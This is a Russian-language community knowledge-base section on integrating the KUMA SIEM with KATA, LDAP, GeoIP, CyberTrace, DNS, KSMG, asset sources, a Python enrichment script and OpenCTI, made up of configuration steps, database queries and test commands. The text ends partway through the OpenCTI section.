Интеграции В данном разделе описаны инструкции по интеграции KUMA с различными системами Cheat Sheet по интеграциям KATA c KUMA Введение В KATA версии 7.0 появились новые возможности и интеграции с KUMA. Данная статья направлена на упрощение восприятия данных интеграций, а также агрегации на одной странице всех инструкций по взаимодействию данных систем. Схема взаимодействия Подробнее Что такое KATA Alerts? Вкладка Alerts в веб-интерфейсе KATA Что такое User activity? Вкладка Logs - User activity в интерфейсе KATA Как настроить отправку алертов и действий пользователей KATA в KUMA - ссылка Что такое EDR telemetry? Вкладка Threat hunting в веб-интерфейсе KATA Как настроить отправку телеметрии EDR в KUMA - ссылка Что такое NDR events? Вкладка Network traffic events в веб-интерфейсе KATA Что такое NDR Audit? Вкладка Logs - Audit в веб-интерфейсе KATA Что такое NDR Application messages? Вкладка Logs - Application messages в веб-интерфейсе KATA Как настроить отправку событий, аудита и сообщений NDR в KUMA -  ссылка Что такое NDR Assets? Вкладка Assets в веб-интерфейсе KATA Как настроить передачу активов, обнаруженных NDR в KUMA - ссылка Обогащение LDAP-обогащение Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/3.2/ru-RU/217926.htm   Настройка параметров подключения к LDAP-серверу для версии < 4.0 Зайдите в веб-интерфейс KUMA с учетной записью Главного администратора или администратора тенанта, для которого необходимо настроить подключение к LDAP-серверу для последующего обогащения событий информацией об учетных записях. Перейдите на вкладку  Параметры – LDAP-сервер и нажмите на кнопку Добавить параметры для нового тенанта . В открывшемся окне выберите Тенант , укажите Интервал обновления в часах и задайте Время хранения данных . Затем нажмите на кнопку Добавить подключение . В открывшейся вкладке задайте параметры подключения к LDAP-серверу: Укажите Название подключения В поле Секрет добавьте учетную запись пользователя для подключения к серверу Active Directory. Имя пользователя может быть указано в одном из двух форматов: @ или \ В поле URL укажите адрес одного или нескольких серверов LDAP (через запятую) в формате :<порт>. Для незащищенного и startTLS подключения порт по умолчанию 389, для ssl – 636. В случае использования startTLS или ssl необходимо указывать hostname сервера, если сертификат сервера в поле SAN не содержит IP-адреса сервера. Выберите Тип подключения. Если на прошлом шаге был выбран тип ssl или startTLS , добавьте сертификат для проверки подлинности сервера в поле Сертификат . В случае, если для DC используется не самоподписанный сертификат, необходимо импортировать сертификат корневого центра сертификации. Важно! Сертификат самого DC должен содержать параметр DNS Name в поле SAN, соответствующий доменному имени данного сервера (если в URL был указан hostname сервера) или параметр IP Address в поле SAN, соответствующий IP-адресу данного сервера (если в URL был указан IP-адрес сервера). Задайте Время ожидания в секундах – период, в течение которого KUMA будет ожидать ответа от сервера контроллера домена. В поле База поиска (Base DN) укажите базовое отличительное имя каталога, в котором должен выполняться поисковой запрос. Можно посмотреть в Панель управления\Все элементы панели управления\Администрирование - Редактирование ADSI. При необходимости укажите Пользовательские атрибуты учетных записей AD , на основе которых вы хотите обогащать события учетными записями. Убедитесь, что галочка для пункта Выключено снята и нажмите на кнопку Сохранить для сохранения параметров подключения к LDAP-серверу. Нажмите на кнопку Сохранить . При необходимости нажмите на кнопку Импортировать учетные записи для немедленного импорта информации об учетных записях в KUMA. На данном этапе настройка импорта информации об учетных записях в KUMA завершена. Настройка обогащения событий информацией об учетных записях KUMA рассматривается в следующем разделе. Настройка LDAP-обогащения LDAP-обогащение настраивается на уровне коллектора и позволяет наполнить события информацией об учетных записях (атрибутах, импортированных из AD). На основе полученных атрибутов доступно выполнение реагирования AD и KASAP, а также написание правил корреляции по атрибуту memberOf. Остальные атрибуты, импортируемые из AD, служат справочной информацией и используются в расследовании алертов и инцидентов. Для настройки обогащения, перейдите в коллектор, события с которого необходимо дополнять информацией об учетных записях и перейдите на вкладку Обогащение событий и нажмите на кнопку Добавить сопоставление с учетными записями LDAP . Нажмите на кнопку Добавить домен и введите полное наименовение домена в верхнем регистре. В случае, если обогащение было настроено для нескольких доменов, повторите процедуру необходимое количество раз. В случае, если вы не знаете полного наименования домена для импортированных учетных записей, подключитесь к компоненту Core KUMA по ssh и выполните команду: /opt/kaspersky/kuma/mongodb/bin/mongo kuma --eval 'accounts.findOne({},{_id:0, domain:1});' Либо: /opt/kaspersky/kuma/mongodb/bin/mongo localhost/kuma --quiet --eval "db.accounts.findOne({"archived":false},{"domain":1})" В результате выполнения команды будет выведен домен: Для версий от 4.0 изучите  https://kb.kuma-community.ru/link/57#bkmrk-%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA-%D0%B1%D0%B0%D0%B7%D0%B5-%D0%B4 Команда для ядра в кластере Выполните команду на CP (Control Plane) для получения полного наименование деплоймента: k0s kubectl get pods --all-namespaces Получим следующий вывод: Далее выполняем команду для монго в контейнере: k0s kubectl exec --stdin --tty core-deployment-8659b48bb6-45grz -n kuma -c mongodb -- /bin/sh -c '/bin/mongo localhost/kuma --quiet --eval "db.accounts.findOne({},{_id:0, domain:1});"'   Если используется несколько доменов, то можно воспользоваться следующим запросом (выведет список всех доменов): /opt/kaspersky/kuma/mongodb/bin/mongo kuma --eval 'db.accounts.distinct("domain");' Настройте Обогащение полей KUMA на основе атрибутов AD. Для этого выберите Применить сопоставление по умолчанию , либо через кнопку Добавить элемент укажите атрибуты и поля KUMA.  Перейдите на вкладку коллектора Проверка параметров и нажмите на кнопку Сохранить и перезапустить сервисы для применения всех настроек. На этом настройка обогащения LDAP завершена. В следующем разделе будут рассмотрены известные проблемы и пути их решения. Известные проблемы С версии KUMA 2.1.3, LDAP идет после других обогащений. Править нормалайзер (что неудобно) не нужно, а достаточно сделать правило обогащения, которое будет заменять EXAMPLE на EXAMPLE.LOCAL (если много разных доменов - можно сделать обогащение через словарь), чтобы все NetBIOS названия менялись на DNS названия доменов. В некоторых событиях журналов Windows вместо DNS-имени домена может присутствовать NetBIOS-имя домена, которое не будет совпадать с DNS-именем домена, импортированных в KUMA учетных записей. Например, DEMO вместо DEMO.LAB. Данная проблема решается доработкой нормализатора Windows. Для этого откройте на редактирование используемый нормализатор Windows и перейдите в Основной парсинг событий – Обогащение . Пролистайте раздел до кнопки Добавить обогащение и нажмите ее. Задайте Тип источника – событие, Исходное поле – SourceNtDomain , Целевое поле – SourceNtDomain и нажмите на значок гаечного ключа рядом с исходным полем. Нажмите кнопку Добавить преобразование. Выберите Тип преобразования replaceWithRegexp. В левой части, в графе выражение укажите NetBIOS-имя домена в формате ^$. В правой части, в графе чем заменить укажите DNS-имя домена. Нажмите кнопку ОК . Выполните аналогичные действия для поля DestinationNtDomain . Сохраните нормализатор и выполните Обновление параметров сервиса для сервиса коллектора Windows. Проверка работы LDAP-обогащения Для проверки работы обогащения перейдите на вкладку События и выполните поисковой запрос: SELECT * FROM `events` WHERE SourceAccountID !='' OR DestinationAccountID!='' ORDER BY Timestamp DESC LIMIT 250 В результате будут выведены события, обогащенные информацией об учетных записях. В случае если проведенные выше действия не обогащают данные перезагрузите службу коллектора и снова проверьте обогащение Если рекомендация выше не помогла, попробуйте указать только те домены которые есть в базе, иначе (если не помогло) попробуйте сделать обогащения по одному домену Подключение к базе данных для версии 4.0 и выше  Чтобы подключиться к базе данных выполните команду: sqlite3  /opt/kaspersky/kuma/core/00000000-0000-0000-0000-000000000000/raft/sm/db чтобы просмотреть все таблицы выполните команду внутри СУБД  .tables Например, для просмотра учетных записей и соотношения их доменов в таблице аккаунтов,  вы можете воспользоваться командой  select domain, cn from accounts where domain is not null; Для более подробной информации добавьте параметр, например, member_of   select domain, cn, member_of from accounts where domain is not null; GeoIP-обогащение (Геоданными) Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/3.2/ru-RU/233257.htm   Скачанная и конвертированная база (IP2Location) - https://box.kaspersky.com/d/c77609e6f5bd463b8f56/   Конвертация mmdb файла базы в CSV для KUMA - https://github.com/KUMA-Community/mmdb2kuma   Российская база (требуется регистрация) - https://geoip.noc.gov.ru/   Скачивание БД IP2Location Чтобы скачать базы необходимо зарегистрироваться.  После регистрации и входа на сайт переходим по ссылке:  https://lite.ip2location.com/database-download   И выбираем нужную нам БД (есть для ipv4 и ipv6) и скачиваем. MAXMIND Скачивание БД также доступно после регистрации. Также при регистрации проверяется соответствие выбранной странны и ip, с которого вы регистрируетесь. При этом при выборе страны отсутствует Россия. Возможно проблему можно решить через VPN. Конвертация БД Перед импортом базы ее необходимо конвертировать в формат, понятный KUMA. Для конвертации данных используется скрипт. Актуальный скрипт и команды запуска тут: https://support.kaspersky.com/help/KUMA/2.1/ru-RU/233259.htm   В простейшем случае команда запуска выглядит так:  python converter.py --type ip2location --input IP2LOCATION-LITE-DB11.CSV.ZIP --out geoip_ip2location.csv После запуска нужно подождать 20-30 сек и в случае успешной конвертации получим файл CSV: Загрузка БД в KUMA Загрузка БД (предварительно сконвертированной скриптом!) осуществляется по пути: Settings - Common - GeoIP settings - Import from file После добавления БД необходимо перезапустить все сервисы, где настроено обогащение по GeoIP (при выполнении тестов было достаточно выполнить reload, а не restart) При импорте нового файла с данными GeoIP ранее добавленные данные перезапишутся (с созданием события аудита). Поэтому если нужно внести незначительные изменения для кастомизации сопоставления рекомендуется скачать текущую БД из интерфейса KUMA, после чего внести туда изменения и подгрузить обратно. Обогащение GeoIP В разделе Ресурсы - Правила Обогащения создаем новое правило В поле Source kind выбираем geographic data В поле Mapping geographic data to event fields выбираем поле события KUMA, в котором присутствует нужный для обогащения ip-адрес Здесь же выбираем Geodata attribute и соответствующее поле события KUMA Event field to write to Для GeoIP добавлены новые поля событий, но можно использовать любые Сопоставление по умолчанию доступно, если в качестве источника IP выбрано одно из полей событий SourceAddress, DestinationAddress и DeviceAddress.  При выборе других полей в качестве источника сопоставление по умолчанию не доступно. Далее нужно созданное правило выше закрепить в коллекторе в части обогащения. Пример того, как выглядит обогащенное событие: Формат файла CSV: Network,Country,Region,City,Latitude,Longitude 10.0.0.0/8,Russia,Moscow,Butovo,, 192.168.0.0/16,Russia,SPB,Zelenograd,, Интеграция CyberTrace с KUMA Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/help/KUMA/3.2/ru-RU/217924.htm Описание CyberTrace: https://support.kaspersky.ru/datafeeds/about/13850?_ga=2.203307089.1316632250.1728285594-385727687.1689681277   Видеоматериалы CyberTrace: https://rutube.ru/plst/1042259/   Ссылка на актуальный дистрибутив CyberTrace : https://support.kaspersky.com/datafeeds/download/15920#block0   Системные требования для CyberTrace Минимальные системные требования (обработка ~4K EPS): 8 vCPU; 20 RAM; 200 HDD OC – Linux x64 (CentOS 7.x/8.x или RedHat 7.x предпочтительно, но зависит от стандартов и политик организации) RAM – как минимум 16 ГБ должно быть свободно для использования только СТ HDD – не менее 100ГБ доступных в /opt (без использования Retroscan, для продуктивного сервера потребуется около 1ТБ) Network – сетевой интерфейс 1Гбит/с со статическим IP Подробнее:  https://support.kaspersky.com/help/CyberTrace/4.4/ru-RU/270383.htm   Для загрузки фидов Лаборатории Касперского нужен доступ до   https://wlinfo.kaspersky.com (TCP/443). Важно: НЕ должен подменяться сертификат (SSL inspection) на периметре при доступе к ресурсу. Для загрузки других фидов может потребоваться доступ, в зависимости от их размещения. Установка CyberTrace на Linux Распаковать загруженный архив:  tar -C /opt -xvzf CyberTrace-rpm.tar.gz --no-same-owner Переход в папку установки: cd /opt/cybertrace Учетная запись пользователя, выполняющего установку DEB|RPM-пакета, должна иметь права root. Запуск скрипта установки: ./run.sh install Установка CyberTrace выполняется в каталог /opt/kaspersky/ktfs . После установки DEB|RPM пакета скрипт установки автоматически запускает конфигуратор, в котором нужно прочитать и принять лицензионное соглашение (EULA). После этого выполняется запуск сервисов CyberTrace: cybertrace_db и cybertrace. Вход в веб-интерфейс по адресу  https://, УЗ по умолчанию admin / CyberTrace!1 Отключите фаервол на ОС или откройте доступ до нужных портов для работы CyberTrace  Настройка на стороне CyberTrace Вход в CyberTrace по:  https:// , пароль по умолчанию: admin / CyberTrace!1 При первом входе после установки CyberTrace появится окно мастера первоначальной настройки (Initial Setup Wizard), в котором необходимо: Выбрать используемую SIEM-систему: в данном примере это KUMA Указать параметры подключения для используемой SIEM-системы: IP-адрес интерфейса сервера CyberTrace. В последнем поле указать IP-адрес интерфейса или Hostname сервера CyberTrace. Опционально указать настройки прокси-сервера Опционально импортировать файл лицензионного ключа и файл сертификата для возможности загрузки коммерческих потоков данных об угрозах Указать потоки данных об угрозах, использование которых планируется в Kaspersky CyberTrace. Для завершения первоначальной настройки нажать Close . После завершения первоначальной настройки рекомендуется изменить пароль администратора, используемый по умолчанию. Проверить успешность загрузки индикаторов компрометации можно следующим способом: Перейдите во вкладку Indicators и убедитесь в наличии индикаторов компрометации Перейдите во вкладку Dashboard -> виджет  Supplier statistics и проверьте, что столбец Indicators для каждого фида отличен от 0. Настройка на стороне KUMA Начиная с версии 3.2  в KUMA доступно 2 метода интеграции с CyberTrace для потокового обогащения событий данными об индикаторах компрометации: С использованием API CyberTrace С помощью Kaspersky CyberTrace Service Для снижения нагрузки на CyberTrace рекомендуется использовать фильтр в обогащении (ресурс KUMA - Пароль импорта:  q123123Q! ) на правиле обогащении, пример фильтра из Community-Pack:  https://box.kaspersky.com/f/39a48398202543dbb9c9/   Интеграция с использованием API CyberTrace Данный метод позволяет отправлять большое количество объектов одним запросом на API-интерфейс CyberTrace. Рекомендуется применять в системах с большим потоком (>50k EPS) событий. Производительность Сybertrace-http значительно превосходит показатели прежнего метода cybertrace, который по-прежнему доступен для обеспечения обратной совместимости. В веб-интерфейсе CyberTrace создайте новую учетную запись пользователя, которая будет использоваться KUMA для подключения к API CyberTrace. Для этого перейдите в раздел Settings -> Users  и нажмите Add new user . В появившемся окне New user укажите следующие параметры: Login - <имя учетной записи пользователя> Password - <пароль учетной записи пользователя> Confirm password - <пароль учетной записи пользователя> Role - Analyst Нажмите Add . Далее в веб-интерфейсе KUMA создайте секрет для подключения к API CyberTrace: перейдите в Ресурсы -> Секреты и нажмите Добавить . В появившемся окне укажите следующие параметры: Название - <название секрета> Тенант - <название тенанта, например, Main> Тип - credentials Пользователь - <Имя пользователя, созданного на предыдущем шаге> Пароль - <Пароль, созданного пользователя на предыдущем шаге> Описание (опционально) Создайте правило обогащения в веб-интерфейсе KUMA: перейдите в Ресурсы -> Правила обогащения и нажмите Добавить . В появившемся окне укажите следующие параметры: Название - <название правила обогащения> Тенант - <название тенанта, например, Main> Исходный тип - cybertrace-http URL -  :443 Секрет -  <секрет, созданный на предыдущем шаге> Ключевые поля - <поля, значения которых будут передаваться в CyberTrace на анализ. Как пример, укажите поля со скриншота ниже> Время ожидания -  0 Максимальное кол-во событий в очереди обогащения  - 1000000 Описание (опционально) Параметры фильтра - <условия срабатывания правила обогащения. В качестве примера, ниже используется набор условий, при котором правило будет срабатывать для событий обращения внутренних IP-адресов к внешним IP-адресам> Пример готового кода для добавления в правило обогащения: SourceAddress insubnet [ '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16' ] AND NOT DestinationAddress insubnet [ '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16' ] Указываем поля DestinationHostName | RequestURL и DestinationNtDomain | DestinationDnsDomain, потому что в событии может быть только одно поле из пары. Если есть оба поля, коннектор CyberTrace в KUMA возьмет только уникальное значение и отправит в CyberTrace на анализ Если объекты (IP, URL, Domain, Hash) расположены в “кастомных” полях, напр., DeviceCustomString1, то можно создать отдельное правило обогащения, в котором в качестве ключевого поля будет указано необходимое "кастомное" поле/поля Добавьте созданное правило обогащения в параметрах сервиса коллектора (или коррелятора): перейдите в Ресурсы -> Активные сервисы и нажмите на название сервиса коллектора . В появившемся окне Редактирование коллектора перейдите на шаг Обогащение событий  и в секции справа нажмите Добавить обогащение. В поле Правило обогащения выберите ранее созданное правило обогащения. После добавления правила обогащения перейдите на шаг Проверка параметров и нажмите Сохранить и обновить параметры сервисов для применения изменений конфигурации коллектора. Интеграция с помощью Kaspersky CyberTrace Service  Для повышения прозводительности, можно изменять число рабочих процессов коллектора (1 шаг настройки) / самого правила обогащения (для асинхронных задач эффективнее работа) В KUMA перейдите в раздел Ресурсы - Правила обогащения . Нажмите на кнопку Добавить правило обогащения . В поле URL укажите IP адрес CyberTrace, остальные поля заполните по аналогии со скриншотом ниже. Затем нажмите на кнопку Сохранить . Добавьте созданное правило обогащения на нужные коллеторы или корреляторы. Ниже пример добавления в коррелятор. После выполнения настроек необходимо сохранить и обновить (можно и перезапустить) параметры ресурса. Проверка работы интеграции CyberTrace  с KUMA Подразумевается, что настроена интеграция событий с KSC на KUMA, на хосте, где будет проводиться тест установлен KES с последними обновлениями. Иначе используйте другие системы, с которыми осуществлена интеграция по событиям. В CyberTrace в разделе Индикаторы, скопируйте любой URL из списка содержимых. С хоста, где установлен KES осуществите переход в браузере по ссылке, например - http://www.kasprsky.com/test/wmuf  и получите "отбивку" от KES. Через некоторое время появится событие от KSC. В событии будет обращение по вредоносной ссылке с дополнительным контекстом от CyberTrace, пример ниже: Сопоставление названия фида и категории https://support.kaspersky.com/help/CyberTrace/5.0/ru-RU/166083.htm   Количество обнаружений на основе объектов, полученных от KUMA, можно увидеть в дашборде статистики на CyberTrace, для Отображения и обновления информации в разделе Информационная панель: Включите опции: Не забудьте нажать кнопку Сохранить. В качестве упрощенного варианта проверки корректной работы обогащения CyberTrace можно отправить тестовое событие в коллектор с помощью утилиты netcat или утилиты kuma . В примере ниже используется тестовое событие в формате CEF, отправленное средствами netcat. Для коллектора с транспортом TCP: nc <порт> <<< 'CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|request=<любой URL из вкладки Indicators CyberTrace>' Для коллектора с транспортом UDP: nc -u <порт> <<< 'CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|request=<любой URL из вкладки Indicators CyberTrace>' Пример обогащенного события на скриншоте ниже Для создания алертов и отслеживания обращений к IP-адресам/доменам/URL, информация о которых есть в фидах CyberTrace, необходимо привязать к коррелятору следующие правила корреляции из SOC Package: R201_Обнаружено соединение с подозрительным IP-адресом R202_Обнаружено обращение на подозрительный Domain R203_Обнаружено обращение на подозрительный URL DNS-обогащение Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/3.2/ru-RU/217863.htm Обогащение DNS DNS обогащение позволяет преобразовывать доменные имена в адреса для следующих полей: DestinationHostName -> DestinationAddress DeviceHostName -> DeviceAddress  SourceHostName -> SourceAddress А также преобразовывать адреса в доменные имена для следующих полей: DestinationAddress -> DestinationHostName DeviceAddress -> DeviceHostName SourceAddress -> SourceHostName Важный момент, DNS обогащение работает только для серых сетей Обогащение происходит если: целевые поля пустые и если резолвится PTR из IP, то будут резолвиться только серые IP "Cache TTL" в настройках DNS Обогащения (Дефолтовое значение 60 сек), работает следующим образом: KUMA резолвит server.example.com в 192.168.1.1 и получает TTL этой записи (от DNS сервера получает) 3600 сек например добавляет себе это в кеш как только время хранения записи в кеше достигает TTL/2 = 1800 сек, то KUMA сама идет в DNS сервер и обновляет закешированную запись те 60 сек которые мы выставляем - это время хранения записей, которые не обновлены с DNS - например  server.example.com больше не существует Поле настройки URL - не обязательно. Если оставить пустым, то при обогащении будут использоваться системные настройки сервера. Соответственно, если DNS в ОС серверов коллекторов разные - то и обогащение будет разное Если событие с адресом 127.0.0.1 , то можно перед DNS обогащением в коллекторе в парсинге добавить затирание deviceAddress, если оно равно 127.0.0.1 , тогда обогащение DNS должно произойти Настройка на стороне KUMA Для повышения прозводительности, можно изменять число рабочих процессов коллектора (1 шаг настройки) / самого правила обогащения (для асинхронных задач эффективнее работа) В разделе Ресурсы - Правила Обогащения создаем новое правило, ниже пример типового обогащения для DNS: Далее созданное правило обогащения выше необходимо закрепить в коллекторе в части обогащения. Обогащение событий KSMG ссылкой на сообщение, помещенное в хранилище Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Для нормализации событий KSMG в KUMA применяется нормализатор [OOTB] KSMG 2.1+ syslog CEF Хранилище сообщений KSMG Хранилище предназначено для хранения поступающих почтовых сообщений перед их обработкой модулями KSMG. В случае если почтовое сообщение будет отклонено или удалено в результате работы одного из модулей KSMG, аналитик может получить доступ к оригинальному почтовому сообщению в Хранилище.  Для сохранения оригинала сообщения в Хранилище в параметрах модуля KSMG должен быть активирован параметр Поместить исходное сообщение в Хранилище. Сообщения помещаются в Хранилище вместе с вложениями.  Создание правила обогащения в KUMA Чтобы настроить обогащение событий KSMG ссылкой на почтовое сообщение, помещенное в Хранилище KSMG, создайте правило обогащения: В веб-интерфейсе KUMA перейдите в раздел Ресурсы → Правила обогащения . Нажмите на кнопку Создать . В появившемся окне Создание правила обогащения : В поле Название введите уникальное имя правила. В раскрывающемся списке Тенант выберите, к какому тенанту относится этот ресурс. В раскрывающемся списке Тип источника данных выберите шаблон. В поле Шаблон укажите следующий шаблон ссылки: https://{{.DeviceAddress}}/ru_RU/#/backup?filter=[{"field":"smtp_message_id","condition":"CONTAIN","value":"{{.DeviceCustomString1}}"}] В поле Целевое поле  укажите DeviceExternalID. Опционально добавьте Описание . В секции Параметры фильтра укажите условия определения событий KSMG, в которые будет добавляться ссылка. Переключитесь на Код и укажите следующее условие: Name = 'message backup result' OR ( S.BackupResult = 'BackedUp' AND Name = 'message result' ) Нажмите Создать . Далее созданное правило обогащения необходимо применить в Коллекторе для приема и обработки событий KSMG. Применение правила обогащения в коллекторе KSMG Чтобы добавить созданное правило обогащения в Коллекторе для приема и обработки событий KSMG: Перейдите в раздел  Ресурсы → Активные сервисы. Выберите Коллектор , который используется для приема и обработки событий KSMG. В окне Редактирование коллектора перейдите на шаг Обогащение событий и нажмите Добавить обогащение . В поле Правило обогащения выберите ранее созданное правило обогащения. Перейдите на шаг Проверка параметров и нажмите Сохранить и обновить параметры сервисов . Нажмите Сохранить . Проверка перехода в хранилище KSMG из карточки события KUMA В разделе События выполните поиск событий типа message backup result  или message result SELECT * FROM `events` WHERE Name = 'message backup result' AND DeviceProduct = 'KSMG' ORDER BY Timestamp DESC LIMIT 250 ИЛИ SELECT * FROM `events` WHERE Name = 'message result' AND DeviceProduct = 'KSMG' ORDER BY Timestamp DESC LIMIT 250 Откройте карточку события и убедитесь, что в поле DeviceExternalID появилась ссылка для перехода в Хранилище KSMG. Выполните переход по ссылке. В результате будет выполнен переход в Хранилище KSMG с фильтром по сообщению — будет отображаться только то почтовое сообщение, результаты анализа которого представлены в карточке события KUMA. Далее аналитик в интерфейсе KSMG может: Просмотреть свойства сообщения (причину блокировки сообщения, данные отправителя, сработавшие правила). Выполнить предпросмотр сообщения, чтобы ознакомиться с оригинальным текстом сообщения. Скачать сообщение в формате eml. Выполнить отправку сообщения пользователю в случае False Positive или отправить на повторную проверку. Обогащение событий информацией об Активах Начиная с версии 4.0 обогащение активами стало явным. Теперь для настройки обогащения необходимо создать и добавить на коллектор правило обогащения типа "обогащение активами". Обогащения созданные до обновления остаются как inline-ресурсы, а все созданные после обновления коллекторы не будут иметь встроенного обогащения, его необходимо настроить самостоятельно. Подробности см. https://support.kaspersky.ru/kuma/4.2/307279   Активы могут попасть в KUMA следующими способами: От KSC (FQDN, IP, MAC, Имя ассета (в KSC, Владелец [Principal name], Информация об уязвимостях, Информация об установленном ПО, Информация о hardware). KUMA импортирует из базы KSC сведения об устройствах с установленным Агентом администрирования KSC, который подключался к KSC, то есть поле Connection time в базе SQL – непустое. От KICS От Vulnerability Scanner: Из коробки: MP8 Scanner, RedCheck.  Через новые PreSalesPack скрипты: Nessus, OWASP ZAP; От CMDB выгрузка в виде CSV, затем скриптом через API добавление в KUMA (скрипт в CommunityPack ); Вручную Коллекторы KUMA с периодически получают списки асcетов (активов) от ядра KUMA и хранят их памяти в виде таблиц, позволяющих определить AssetID по  IP адресу и/или FQDN . У ассета может быть указан массив значений IP и/или FQDN. Обогащение проверяет все IP ассета и/или FQDN. Про склейку информации об активах, подробнее тут: https://support.kaspersky.com/help/KUMA/3.2/ru-RU/243031.htm   При поступлении события в коллектор, коллектор выполняет: нормализацию данных в поля события KUMA; если в событии содержится информация о SourceAddress, Destination Address, DeviceAddress, SourceHostName, DestinationHostName, DeviceHostName коллектор выполняет поиск IP - AssetID и/или FQDN - AssetID; если информация об ассете найдена, AssetID проставляется в соответствующее поле нормализованного события; В общем случае, в нормализованное событие могут быть проставлены 3 типа AssetID: SourceAssetID, DestinationAssetID, DeviceAssetID. После чего события, обогащенные информацией об ассетах направляются в коррелятор и/или хранилище. Пример обогащенного события (при нажатии открывается карточка актива): Правила обогащения информацией об активах Информация в событии Информация в карточке актива Будет ли обогащение IP IP + FQDN Да FQDN IP + FQDN Да IP + FQDN IP + FQDN Да IP IP Да FQDN IP Нет IP + FQDN IP Нет IP FQDN Нет FQDN FQDN Да IP + FQDN FQDN Да Обогащение произвольного поля с утилитой Tracer Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и  НЕ является официальной рекомендацией вендора. Утилита (скрипт) была написана для получения возможности обогощать событие по значению поля со сторонних систем с использованием языка программирования Python3. Tracer.py мимикрирует под механизм обогащения аналогично CyberTrace, с обогащенными данными можно работать подобно обогащению Threat Intelligence. Утилита может работать как на Linux (рекомендуется), так и Windows платформах (ОС). Для продвинутых пользователей! Для работы с Tracer.py требуются навыки программирования Python3 Скрипт можно загрузить по ссылке в Пресейл-Паке контенте. Необходимые библиотеки для работы Tracer.py: import socket from select import select from signal import signal from sys import platform from re import match from datetime import datetime from dateutil.relativedelta import relativedelta Для использования TCP_FASTOPEN (рекомендуется) на ОС Linux выполните команду ниже: echo 3 > /proc/sys/net/ipv4/tcp_fastopen Предварительные правки для Tracer.py: SERVER = "127.0.0.1" (строка кода 14) - укажите IP-адрес для прослушивания PORT = 16666 (строка кода 15) - укажите порт для прослушивания Обогащение данными производится в строках 72-74, в переменную somedata можно добавить произвольные данные полученные любым способом (из файла, БД, GET запросом и т.д.), таже можно использовать и другие поля (см строку 74 кода - extraInfo=KUMA_THE_BEST_SIEM) с разделитетем "|" На стороне KUMA нужно прописать следующее обогащение: По картинке выше, обогащается значение поля Code и сопоставляется с полем Tracer - url. Производительность скрипта состовляет ~ 50 EPS, при рекомендуемой настройке Enrichment: 50 connections и 100 RPS. Возможно использовать только поле url в сопоставлении, но туда можно поместить произвольные данные При обогащении события получаем следующие обогащенные данные: Так как используется "нелегальный" механизм обогащения в логах коллектора копятся (периодически очищайте) ошибки следующего вида: Интеграция OpenCTI и KUMA Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Ссылка на репозиторий https://github.com/KUMA-Community/KumaOpenctiLookupProxy   В современных SOC-инфраструктурах эффективность анализа событий безопасности напрямую зависит от актуальных данных Threat Intelligence. Интеграция платформы OpenCTI с SIEM-системой Kaspersky Unified Monitoring and Analysis Platform (KUMA) позволяет использовать данные о киберугрозах для обогащения событий безопасности и ускорения расследования инцидентов. Основная задача интеграции — автоматическая проверка индикаторов компрометации (IoC), обнаруженных в событиях KUMA, по базе Threat Intelligence OpenCTI. При нахождении совпадений события дополняются контекстной информацией: описанием индикатора, источником, уровнем доверия и связанными аналитическими отчётами. Возможности интеграции: автоматическая проверка индикаторов компрометации из событий безопасности; обогащение событий данными Threat Intelligence; связывание обнаруженных индикаторов с отчётами и аналитикой OpenCTI; ускорение анализа и расследования инцидентов в SOC. Таким образом, OpenCTI выступает централизованным источником данных о киберугрозах для KUMA, обеспечивая дополнительный уровень контекстного анализа и повышая качество обнаружения атак. Архитектура интеграции Интеграция реализована через промежуточный сервис OpenCTI-KUMA Lookup Proxy — HTTP-сервис, принимающий запросы от KUMA и преобразующий их в запросы к API OpenCTI. Функции сервиса: приём lookup-запросов от KUMA; поиск индикаторов в OpenCTI среди объектов Indicators и Observables; формирование ответа в формате CyberTrace HTTP, используемом KUMA для обогащения событий. Компоненты и технический стек Сервис реализован на Python с использованием фреймворка FastAPI и развёрнут в Docker-контейнере на сервере OpenCTI в рамках той же Docker-сети. Для запуска используется Gunicorn с Uvicorn workers, что обеспечивает эффективную обработку параллельных запросов. Количество worker-процессов рассчитывается по формуле: workers = 2 × CPU + 1 Каждый worker — это отдельный процесс, обслуживающий множество асинхронных HTTP-запросов. Для доступа к сервису извне используется Nginx в роли reverse-proxy: он публикует порт 8000 и обеспечивает доступ по HTTPS. Сост Переменные окружения Переменная Описание LOOKUP_BASIC_USER Имя пользователя для подключения KUMA к сервису LOOKUP_BASIC_PASSWORD Пароль для подключения KUMA к сервису OPENCTI_TOKEN Bearer-токен сервисного пользователя OpenCTI KUMA обращается к сервису с использованием Basic Authentication , а сам сервис выполняет запросы к OpenCTI с Bearer-токеном сервисного пользователя. Настройка пользователя в OpenCTI Для работы интеграции необходимо создать отдельного сервисного пользователя в OpenCTI. Перейдите в Settings → Security → Users и нажмите Create User . В окне New User укажите Name — имя пользователя. Добавьте пользователя в заранее созданную группу Integration . Отметьте пользователя как Service Account . Откройте профиль пользователя и скопируйте API Token — он будет использоваться сервисом для обращения к GraphQL API OpenCTI. Примечание: группа Integration должна иметь роль с правами только на чтение в соответствии с принципом минимально необходимых привилегий. API сервиса OpenCTI-KUMA Lookup Proxy Сервис предоставляет два HTTP endpoint: Метод Endpoint Назначение POST /api/1.1/lookup Проверка индикаторов (используется KUMA) GET /health Мониторинг состояния сервиса Обработка запроса KUMA 